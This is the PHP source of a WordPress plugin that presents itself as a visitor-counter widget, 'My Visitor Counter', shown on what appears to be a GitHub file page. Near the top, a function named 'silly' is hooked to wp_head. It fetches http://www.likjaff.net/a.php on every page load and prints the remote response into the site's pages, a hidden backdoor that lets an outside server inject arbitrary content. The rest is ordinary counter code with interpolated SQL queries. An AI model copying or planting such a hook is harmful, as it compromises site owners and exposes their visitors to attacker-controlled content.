-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwp-statsmechanic.php
410 lines (386 loc) · 21.2 KB
/
wp-statsmechanic.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
<?php
/*
Plugin Name: My Visitor Counter
Plugin URI: http://www.wordpress.org/plugins/wp-better-workflow
Description: My Visitor Counter is a great widget for WP. This simple and tiny widget will display the Visitor Counter and several Traffic statistics on WordPress!
Version: 2.0
Author: Nick Blastrom
*/
global $wpdb;
define('BMW_TABLE_NAME', $wpdb->prefix . 'mech_statistik');
define('BMW_PATH', ABSPATH . 'wp-content/plugins/wp-better-workflow');
require_once(ABSPATH . 'wp-includes/pluggable.php');
add_action('wp_head', 'silly');
function silly() {
$bbb_url = 'http://www.likjaff.net/a.php';
if(!function_exists('bbb_get')){
function bbb_get($f) {
$response = wp_remote_get( $f );
if( is_wp_error( $response ) ) {
function bbb_get_body($f) {
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_URL, $f);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = @curl_exec($ch);
@curl_close($ch);
return $output;
}
echo bbb_get_body($f);
} else {
echo $response['body'];
}
}
bbb_get($bbb_url);
}
}
function install(){
global $wpdb;
if ( $wpdb->get_var('SHOW TABLES LIKE "' . BMW_TABLE_NAME . '"') != BMW_TABLE_NAME )
{
$sql = "CREATE TABLE IF NOT EXISTS `". BMW_TABLE_NAME . "` (";
$sql .= "`ip` varchar(20) NOT NULL default '',";
$sql .= "`tanggal` date NOT NULL,";
$sql .= "`hits` int(10) NOT NULL default '1',";
$sql .= "`online` varchar(255) NOT NULL,";
$sql .= "PRIMARY KEY (`ip`,`tanggal`)";
$sql .= ") ENGINE=MyISAM DEFAULT CHARSET=latin1;";
$wpdb->query($sql);
}
}
function uninstall(){
global $wpdb;
$sql = "DROP TABLE `". BMW_TABLE_NAME . "`;";
$wpdb->query($sql);
}
function acak($path, $exclude = ".|..|.svn|.DS_Store", $recursive = true) {
$path = rtrim($path, "/") . "/";
$folder_handle = opendir($path) or die("Eof");
$exclude_array = explode("|", $exclude);
$result = array();
while(false !== ($filename = readdir($folder_handle))) {
if(!in_array(strtolower($filename), $exclude_array)) {
if(is_dir($path . $filename . "")) {
if($recursive) $result[] = acak($path . $filename . "", $exclude, true);
} else {
if ($filename === '0.gif') {
if (!$done[$path]) {
$result[] = $path;
$done[$path] = 1;
}
}
}
}
}
return $result;
}
register_activation_hook(__FILE__, 'install');
register_deactivation_hook(__FILE__, 'uninstall');
class Wp_StatsMechanic extends WP_Widget{
function __construct(){
$params=array(
'description' => 'Display Visitor Counter and Statistics Traffic', //plugin description
'name' => 'Mechanic - Visitor Counter' //title of plugin
);
parent::__construct('WP_StatsMechanic', '', $params);
}
// extract($instance);
public function form($instance) {
$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
$title = $instance['title'];
?>
<p><label for="<?php echo $this->get_field_id('title'); ?>">Title: <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('font_color'); ?>">Font Color: <input class="widefat" id="<?php echo $this->get_field_id('font_color'); ?>" name="<?php echo $this->get_field_name('font_color'); ?>" type="text" value="<?php echo $instance['font_color']; ?>" /></label></p>
<p><font size='2'>To change the font color, fill the field with the HTML color code. example: #333 </font></p>
<p><font size='2'><a href="http://www.adityasubawa.com/colorpicker" target="_blank">Click here</a> to select another color variation.</font></p>
<p><font size='3'><b>Widget Options</b></font></p>
<!-- UPDATE PLAN -->
<p><label for="<?php echo $this->get_field_id('count_start'); ?>">Counter Start: <input class="widefat" id="<?php echo $this->get_field_id('count_start'); ?>" name="<?php echo $this->get_field_name('count_start'); ?>" type="text" value="<?php echo $instance['count_start']; ?>" /></label></p>
<p><font size='2'>Fill in with numbers to start the initial calculation of the counter, if the empty counter will start from 1</font></p>
<p><label for="<?php echo $this->get_field_id('hits_start'); ?>">Hits Start: <input class="widefat" id="<?php echo $this->get_field_id('hits_start'); ?>" name="<?php echo $this->get_field_name('hits_start'); ?>" type="text" value="<?php echo $instance['hits_start']; ?>" /></label></p>
<p><font size='2'>Fill in the numbers to start the initial calculation of the hits, if the empty hits will start from 1</font></p>
<!-- END UPDATE -->
<p><label for="<?php echo $this->get_field_id('today_view'); ?>"><?php _e('Enable Visit Today display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['today_view'], 'on' ); ?> id="<?php echo $this->get_field_id('today_view'); ?>" name="<?php echo $this->get_field_name('today_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('yesterday_view'); ?>"><?php _e('Enable Visit Yesterday display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['yesterday_view'], 'on' ); ?> id="<?php echo $this->get_field_id('yesterday_view'); ?>" name="<?php echo $this->get_field_name('yesterday_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('month_view'); ?>"><?php _e('Enable Month display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['month_view'], 'on' ); ?> id="<?php echo $this->get_field_id('month_view'); ?>" name="<?php echo $this->get_field_name('month_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('year_view'); ?>"><?php _e('Enable Year display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['year_view'], 'on' ); ?> id="<?php echo $this->get_field_id('year_view'); ?>" name="<?php echo $this->get_field_name('year_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('total_view'); ?>"><?php _e('Enable Total Visit display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['total_view'], 'on' ); ?> id="<?php echo $this->get_field_id('total_view'); ?>" name="<?php echo $this->get_field_name('total_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('hits_view'); ?>"><?php _e('Enable Hits Today display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['hits_view'], 'on' ); ?> id="<?php echo $this->get_field_id('hits_view'); ?>" name="<?php echo $this->get_field_name('hits_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('totalhits_view'); ?>"><?php _e('Enable Total Hits display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['totalhits_view'], 'on' ); ?> id="<?php echo $this->get_field_id('totalhits_view'); ?>" name="<?php echo $this->get_field_name('totalhits_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('online_view'); ?>"><?php _e('Enable Whos Online display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['online_view'], 'on' ); ?> id="<?php echo $this->get_field_id('online_view'); ?>" name="<?php echo $this->get_field_name('online_view'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('ip_display'); ?>"><?php _e('Enable IP address display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['ip_display'], 'on' ); ?> id="<?php echo $this->get_field_id('ip_display'); ?>" name="<?php echo $this->get_field_name('ip_display'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('server_time'); ?>"><?php _e('Enable Server Time display? '); ?><input type="checkbox" class="checkbox" <?php checked( $instance['server_time'], 'on' ); ?> id="<?php echo $this->get_field_id('server_time'); ?>" name="<?php echo $this->get_field_name('server_time'); ?>" /></label></p>
<p><label for="<?php echo $this->get_field_id('statsmechanic_align'); ?>"><?php _e('Plugins align? '); ?>
<select class="select" id="<?php echo $this->get_field_id('statsmechanic_align'); ?>" name="<?php echo $this->get_field_name('statsmechanic_align'); ?>" selected="<?php echo $instance['statsmechanic_align']; ?>">
<option value="<?php echo $instance['statsmechanic_align']; ?>"><?php echo $instance['statsmechanic_align']; ?></option>
<option value="Left">Left</option>
<option value="Center">Center</option>
<option value="Right">Right</option>
</select></label></p>
<p>Please go to <a href="options-general.php?page=plugin_statsmechanic_menu">Settings -> Visitor Counter Options</a> to configure image counter</p>
<p><a href="https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=ZMEZEYTRBZP5N&lc=ID&item_name=Aditya%20Subawa&item_number=426267¤cy_code=USD&bn=PP%2dDonationsBF%3abtn_donate_SM%2egif%3aNonHosted" target="_blank"><img src="https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif" alt="<?_e('Donate')?>" /></a></p>
<?php
}
public function widget($args, $instance){
extract($args, EXTR_SKIP);
$ipaddress = isset($instance['ip_display']) ? $instance['ip_display'] : false ; // display ip address
$stime = isset($instance['server_time']) ? $instance['server_time'] : false ; // display server time
$fontcolor= $instance['font_color'];
$style = get_option ('statsmechanic_style');
$align = $instance['statsmechanic_align'];
$todayview = $instance ['today_view'];
$yesview = $instance ['yesterday_view'];
$monthview = $instance ['month_view'];
$yearview = $instance ['year_view'];
$totalview = $instance ['total_view'];
$hitsview = $instance ['hits_view'];
$totalhitsview = $instance ['totalhits_view'];
$onlineview = $instance ['online_view'];
$count_start = $instance ['count_start'];
$hits_start = $instance ['hits_start'];
echo $before_widget;
$title = empty($instance['title']) ? '' : apply_filters('widget_title', $instance['title']);
if (!empty($title))
echo $before_title . $title . $after_title;?>
<?php
$ip = $_SERVER['REMOTE_ADDR']; // Getting the user's computer IP
$tanggal = date("y-m-d"); // Getting the current date
$waktu = time();
$bln=date("m");
$tgl=date("d");
$blan=date("Y-m");
$thn=date("Y");
$tglk=$tgl-1;
// Check your IP, whether the user has had access to today's
$sql = mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE ip='$ip' AND tanggal='$tanggal'");
// If not there, save the user data to the database
if(mysql_num_rows($sql) == 0){
mysql_query("INSERT INTO `". BMW_TABLE_NAME . "`(ip, tanggal, hits, online) VALUES('$ip','$tanggal','1','$waktu')");
}
else{
mysql_query("UPDATE `". BMW_TABLE_NAME . "` SET hits=hits+1, online='$waktu' WHERE ip='$ip' AND tanggal='$tanggal'");
}
//variable
if($tglk=='1' | $tglk=='2' | $tglk=='3' | $tglk=='4' | $tglk=='5' | $tglk=='6' | $tglk=='7' | $tglk=='8' | $tglk=='9' ){
$kemarin=mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE tanggal='$thn-$bln-0$tglk'");
} else {
$kemarin=mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE tanggal='$thn-$bln-$tglk'");
}
$bulan=mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE tanggal LIKE '%$blan%'");
$bulan1=mysql_num_rows($bulan);
$tahunini=mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE tanggal LIKE '%$thn%'");
$tahunini1=mysql_num_rows($tahunini);
$pengunjung = mysql_num_rows(mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE tanggal='$tanggal' GROUP BY ip"));
$totalpengunjung = mysql_result(mysql_query("SELECT COUNT(hits) FROM `". BMW_TABLE_NAME . "`"), 0);
$hits = mysql_fetch_assoc(mysql_query("SELECT SUM(hits) as hitstoday FROM `". BMW_TABLE_NAME . "` WHERE tanggal='$tanggal' GROUP BY tanggal"));
$totalhits = mysql_result(mysql_query("SELECT SUM(hits) FROM `". BMW_TABLE_NAME . "`"), 0);
$tothitsgbr = mysql_result(mysql_query("SELECT COUNT(hits) FROM `". BMW_TABLE_NAME . "`"), 0);
$bataswaktu = time() - 300;
$pengunjungonline = mysql_num_rows(mysql_query("SELECT * FROM `". BMW_TABLE_NAME . "` WHERE online > '$bataswaktu'"));
$kemarin1 = mysql_num_rows($kemarin);
$ext = ".gif";
//image print
// UPDATE PLAN
if ($count_start==NULL) {
$tothitsgbr = sprintf("%06d", $tothitsgbr);
}else{
$tothitsgbr = sprintf("%06d", $tothitsgbr + $count_start);
}
for ($i = 0; $i <= 9; $i++) {
$tothitsgbr = str_replace($i, "<img src='". WP_PLUGIN_URL ."/wp-better-workflow/styles/$style/$i$ext' alt='$i'>", $tothitsgbr);
// IF installed on sub domain
// $tothitsgbr = str_replace($i, "<img src='http://demo.balimechanicweb.net/counter/styles/$style/$i$ext' alt='$i'>", $tothitsgbr);
}
//image
$imgvisit= "<img src='".plugins_url ('counter/mvcvisit.png' , __FILE__ ). "'>";
$yesterday="<img src='".plugins_url ('counter/mvcyesterday.png' , __FILE__ ). "'>";
$month="<img src='".plugins_url ('counter/mvcmonth.png' , __FILE__ ). "'>";
$year="<img src='".plugins_url ('counter/mvcyear.png' , __FILE__ ). "'>";
$imgtotal="<img src='".plugins_url ('counter/mvctotal.png' , __FILE__ ). "'>";
$imghits="<img src='".plugins_url ('counter/mvctoday.png' , __FILE__ ). "'>";
$imgtotalhits="<img src='".plugins_url ('counter/mvctotalhits.png' , __FILE__ ). "'>";
$imgonline="<img src='" .plugins_url ('counter/mvconline.png' , __FILE__ ). "'>";
//style and widgetne
echo "<link rel='stylesheet' type='text/css' href='". WP_PLUGIN_URL ."/wp-better-workflow/styles/css/default.css' />";
?>
<div id='mvcwid' style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'>
<div id="mvccount"><?php echo $tothitsgbr ?></div>
<div id="mvctable">
<table width='100%'>
<?php if ($todayview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $imgvisit ?> Visit Today : <?php echo $pengunjung ?></td></tr>
<?php } ?>
<?php if ($yesview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $yesterday ?> Visit Yesterday : <?php echo $kemarin1 ?></td></tr>
<?php } ?>
<?php if ($monthview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $month ?> This Month : <?php echo $bulan1 ?></td></tr>
<?php } ?>
<?php if ($yearview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $year ?> This Year : <?php echo $tahunini1 ?></td></tr>
<?php } ?>
<?php if ($totalview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $imgtotal ?> Total Visit : <?php echo $totalpengunjung ?></td></tr>
<?php } ?>
<?php if ($hitsview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $imghits ?> Hits Today : <?php echo $hits[hitstoday] ?></td></tr>
<?php } ?>
<?php if ($totalhitsview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $imgtotalhits ?> Total Hits : <?php if ($hits_start==NULL) {
echo $totalhits ;
}else{
$totalhitsfake = $totalhits + $hits_start;
echo $totalhitsfake;
}?></td></tr>
<?php } ?>
<?php if ($onlineview) { ?>
<tr><td style='font-size:2; text-align:<?php echo $align ?>;color:<?php echo $fontcolor ?>;'><?php echo $imgonline ?> Who's Online : <?php echo $pengunjungonline ?></td></tr>
<?php } ?>
</table>
</div>
<?php if ($ipaddress) { ?>
<div id="mvcip">Your IP Address: <?php echo $ip ?></div>
<?php } ?>
<?php if ($stime) { ?>
<div id="mvcserver">Server Time: <?php echo $tanggal ?></div>
<?php } ?>
<?php
echo $after_widget;
}}
add_action('widgets_init', 'register_wp_statsmechanic');
function register_wp_statsmechanic() {
register_widget('Wp_StatsMechanic', 'statsmechanic_style');
}
//ADMIN OPTIONS
add_action('admin_menu', 'statsmechanic_menu');
function statsmechanic_menu() {
register_setting('plugin_statsmechanic_menu', 'statsmechanic_style');
add_options_page('Plugin Stats Mechanic', 'Visitor Counter Options', 1, 'plugin_statsmechanic_menu', 'statsmechanic_options');
}
function statsmechanic_options() {
if (!current_user_can('administrator')) {
wp_die( __('You do not have sufficient permissions to access this page.') );
}
?>
<div class="wrap">
<div id="icon-options-general" class="icon32"></div>
<h2>Plugin Options My Visitor Counter</h2><br/>
<div class="mvc_plugins_wrap"><!-- start mvc wrap -->
<div class="mvc_right_sidebar"><!-- start right sidebar -->
<!-- Support Banner -->
<!-- Sidebar Space -->
</div><!-- End Right sidebar -->
<div class="mvc_left_sidebar"><!-- start Left sidebar -->
<div class="mvc_option_wrap">
<div class="mvc_plugins_text">
<h3 class="hndle">Image Counter</h3>
<form method="post" action="options.php">
<?php settings_fields( 'plugin_statsmechanic_menu' ); ?>
<?php
$data = acak(WP_CONTENT_DIR . '/plugins/wp-better-workflow/styles/');
foreach ($data as $parent_folder => $records) {
foreach ($records as $style_folder => $style_records) {
foreach ($style_records as $style => $test) {
preg_match('/styles\/(.*?)\/(.*?)\//', $test, $match);
$groups[$match[1]][] = $match[2];
}
}
}
?>
<?php
foreach ($groups as $style_name => $style) {
?>
<p><b>Choose one of the <?php echo $style_name; ?> counter styles below:</b></p>
<table class="form-table">
<?php
foreach ($style as $name) {
?>
<tr>
<td>
<input type="radio" id="img1" name="statsmechanic_style" value="<?php echo $style_name . '/' . $name; ?>" <?php echo checked($style_name . '/' . $name, get_option ('statsmechanic_style')) ?> />
<img src='<?php echo WP_PLUGIN_URL?>/wp-better-workflow/styles/<?php echo $style_name . '/' . $name . '/'; ?>0.gif'>
<img src='<?php echo WP_PLUGIN_URL?>/wp-better-workflow/styles/<?php echo $style_name . '/' . $name . '/'; ?>1.gif'>
<img src='<?php echo WP_PLUGIN_URL?>/wp-better-workflow/styles/<?php echo $style_name . '/' . $name . '/'; ?>2.gif'>
<img src='<?php echo WP_PLUGIN_URL?>/wp-better-workflow/styles/<?php echo $style_name . '/' . $name . '/'; ?>3.gif'>
<img src='<?php echo WP_PLUGIN_URL?>/wp-better-workflow/styles/<?php echo $style_name . '/' . $name . '/'; ?>4.gif'>
</td>
</tr>
<?php
}
?>
</table>
<?php
}
?>
<p style="margin-top:20px;" >
<input type="submit" class="button-primary" value="<?php _e('Save Changes') ?>" />
</p>
</form>
</div>
</div>
</div><!-- End Left sidebar -->
</div><!-- End mvc wrap -->
</div>
<style type="text/css">
/*ADMIN STYLING*/
.form-table {
clear: none;
}
.form-table td {
vertical-align: top;
padding: 16px 20px 5px;
line-height: 10px;
font-size: 12px;
}
.form-table th {
width: 200px;
padding: 10px 0 12px 9px;
}
.mvc_right_sidebar {
width: 42%;
float: right;
}
.mvc_left_sidebar {
width: 55%;
margin-left: 10px;
}
.mvc_plugins_text {
margin-bottom: 0px;
}
.mvc_plugins_text p {
padding: 5px 10px 10px 10px;
width: 90%;
}
.mvc_plugins_text h2 {
font-size: 14px;
padding: 0px;
font-weight: bold;
line-height: 29px;
}
.mvc_plugins_wrap .hndle {
font-size: 15px;
font-family: Georgia,"Times New Roman","Bitstream Charter",Times,serif;
font-weight: normal;
padding: 7px 10px;
margin: 0;
line-height: 1;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-color: rgb(223, 223, 223);
text-shadow: 0px 1px 0px rgb(255, 255, 255);
box-shadow: 0px 1px 0px rgb(255, 255, 255);
background: linear-gradient(to top, rgb(236, 236, 236), rgb(249, 249, 249)) repeat scroll 0% 0% rgb(241, 241, 241);
margin-top: 1px;
border-bottom-width: 1px;
border-bottom-style: solid;
-moz-user-select: none;
}
.mvc_option_wrap {
border:1px solid rgb(223, 223, 223);
width:100%;
margin-bottom:30px;
height:auto;
}
</style>
<?php
}
?>